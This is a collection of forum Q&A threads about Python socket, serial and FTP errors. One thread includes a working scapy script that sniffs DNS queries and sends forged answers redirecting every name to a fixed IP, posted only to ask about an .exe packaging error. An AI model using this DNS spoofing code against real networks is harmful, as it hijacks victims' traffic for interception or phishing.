Running Eclipse with PyDev as root - python

i need to debug a program i wrote in Eclipse with PyDev plugin. However I can not debug it because Eclipse obviously does not have the permission to do so.
I always get the following error when debugging reaches the send() function.
socket.error: [Errno 1] Operation not permitted
Running Eclipse with gksudo does not work either. It opens, but it says the editor could not be found.
Could not open the editor: No editor descriptor for id
org.python.pydev.editor.PythonEditor
How do I fix this?
I can't post the full code, it's too long. Here is a kind of breakdown, which causes the same error. Eclipse is not allowed the execute the send() function. Executing it with sudo in the command shell works.
from scapy.all import *
from scapy.layers.inet import IP, UDP
class SomeIP(Packet):
name = "SomeIP Packet"
fields_desc=[XShortField("X", 0x1000),
XShortField("Y", 0x1000)]
SIP = SomeIP()
packet = IP(src="129.168.101.164",dst="192.168.101.143")/UDP(sport=1000, dport=1000)/SIP
send(packet, verbose=False)
Here is the error I get - the first line can be ignored.
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File "scapy_test.py", line 19, in <module>
send(packet, verbose=False)
File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 251, in send
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
File "/usr/lib/python2.7/dist-packages/scapy/arch/linux.py", line 307, in __init__
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted

Could you use another port number? If I understand your code correctly you try to open a port on number 1000. Since port numbers up to 1024 can only be used by root, setting the port number to something higher than 1024 could maybe solve the problem.

Related

Can't ping localhost with python [duplicate]

This question already has an answer here:
ICMP pinger application in Python - error: operation not permitted?
(1 answer)
Closed 2 months ago.
By running this simple code in Python
>>> from pythonping import ping
>>> ping('127.0.0.1', verbose=True)
I get this error
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/j0tz/.local/lib/python3.10/site-packages/pythonping/__init__.py", line 81, in ping
comm = executor.Communicator(target, provider, timeout, interval, socket_options=options, verbose=verbose, output=out,
File "/home/j0tz/.local/lib/python3.10/site-packages/pythonping/executor.py", line 293, in __init__
self.socket = network.Socket(target, 'icmp', options=socket_options, source=source)
File "/home/j0tz/.local/lib/python3.10/site-packages/pythonping/network.py", line 31, in __init__
self.socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, self.protocol)
File "/usr/lib/python3.10/socket.py", line 232, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted
I tried running it as sudo but to no avail.
I don't know what the cause of the error is, so I'm hoping for intelligent answers from knowledgeable people.
Pythonping is a public repository I found on PyPI.
In the code I try to simply ping Localhost, returning the results on the screen when I set the "verbose" parameter to True.
you need root user permission to use it
run python3 such as root user then everything will be OK. and if you use it on a file run it with the root user.

python3.5: serial port reading gives error

While reading serial port from COM4 port using python, i get the following error:
----------------------------------------------------------------------------
F:\Invsense\motion_driver_6.12\eMPL-pythonclient>python.exe eMPL-client.py 4
Traceback (most recent call last):
File "eMPL-client.py", line 543, in <module>
data_delegate = data)
File "eMPL-client.py", line 23, in __init__
self.s = serial.Serial(port,115200)
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialwin32.py", line 31, in __init__
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialutil.py", line 162, in init
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialutil.py", line 206, in port
ValueError: "port" must be None or a string, not
F:\Invsense\motion_driver_6.12\eMPL-pythonclient>
This error is coming from serialutil.py. Can you please help me to resolve this problem. I checked COM4 port seperately using putty tool and it worked fine.
Regards
Vinay
The problem is with the Invensense python script.
Open eMPL-client.py in text editor and search for the line: comport = int(sys.argv[1]) - 1
change it to: comport = sys.argv[1]
The script was trying to cast the string 'COM4' into an integer before passing it to the serial function, which wants a string anyway. I think maybe they were using an old version of pyserial because there are some other errors in the script.
Comment out (or delete) these lines:
self.s.setTimeout(0.1)
self.s.setWriteTimeout(0.2)
Run the client with python eMPL-client.py COM4
After all this my python client is showing the MPU data correctly. I hope this isn't too late!

scapy OSError: [Errno 9] Bad file descriptor

I'm using python 2.7 and scapy-2.2.0 in windows xp.
I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error
Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor
How can I fix it? Please help.
This is source code.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
from scapy import *
def dns_spoof(pkt):
redirect_to = '172.16.22.91'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)
I had the same error when I tried send(IP(dst="1.2.3.4")/ICMP()), and I found on github that my problem was that I was using IDLE instead of the Command Prompt/Powershell on windows.
This is the output in the Powershell:
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
Maybe this is not the problem OP had, but this is the first thread on Google so it might help someone.
It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.
If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?
If you ran it on linux, you would use strace to figure out which.
Equivalent tools on windows are Process Monitor and Logger.exe.

Python code error message that I don't understand

I am having problems decoding this error message for the python on my Raspberry Pi. Please don't tell me to head to that SE, they sent me here as no one really knew what it means. It is from [GitHub][1]
Here is the error output:
Traceback (most recent call last):
File "/home/pi/piarduino/MissionControl-master/mcDesk.py", line 8, in <module> serialFromArduino = serial.Serial("/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0", 115200)
File "/usr/lib/python2.7/dist-packages/serial/serialutil.py", line 260, in __init__
self.open()
File "/usr/lib/python2.7/dist-packages/serial/serialposix.py", line 276, in open
raise SerialException("could not open por %s: %s" % (self._port, msg))
SerialException: could not open port /dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0: [Errno 2] No such file or directory: '/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0'
Basic troubleshooting:
Try running your script as root using sudo. It's possible you're being denied access to the serial port.
Run ls /dev/serial/by-id in a shell. Make sure the serial port you are trying to open exists and matches exactly with the port you're trying to open in your program.
If neither of those options work, try these steps.
If you care to update your question with more details, we may be able to help you further.

ftplib error while execution

While accessing the remote server through FTP I am getting following error. Not sure whats the problem of it so I can solve. Any lead will be helpful.
Code:
import ftplib
from ftplib import FTP
ftp = ftplib.FTP("server_name")
Error:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib64/python2.6/ftplib.py", line 116, in __init__
self.connect(host)
File "/usr/lib64/python2.6/ftplib.py", line 131, in connect
self.sock = socket.create_connection((self.host, self.port), self.timeout)
File "/usr/lib64/python2.6/socket.py", line 553, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
socket.gaierror: [Errno -2] Name or service not known
(I don't have enough reputation to just leave a comment for #LonelySoul, and anyone else.)
You'll encounter the Name or service not known exception if "server_name" includes the protocol. Simply removing ftp:// resolved the issue for me.
The error is telling you that it can't find the host named server_name. So, that's what you need to debug.
If you ping server_name in your terminal/DOS prompt, does it work, or give you an error like cannot resolve server_name? What if you ftp server_name in the terminal?
If everything works in the terminal, and you don't have a silly typo in your code, your next step is to debug why Python is getting it wrong. Write some code that tries to call getaddrinfo explicitly and see what happens. Try socket.connect on a normal IPv4 socket to see if it works. (If so, the problem is probably something to do with IPv6.) And so on.
More likely, it will fail in the terminal as well. In that case, either you've got the wrong name for the server, or you've got something wrong with your network or system setup; either way, it's not a programming problem, and StackOverflow won't be able to help you further.

Categories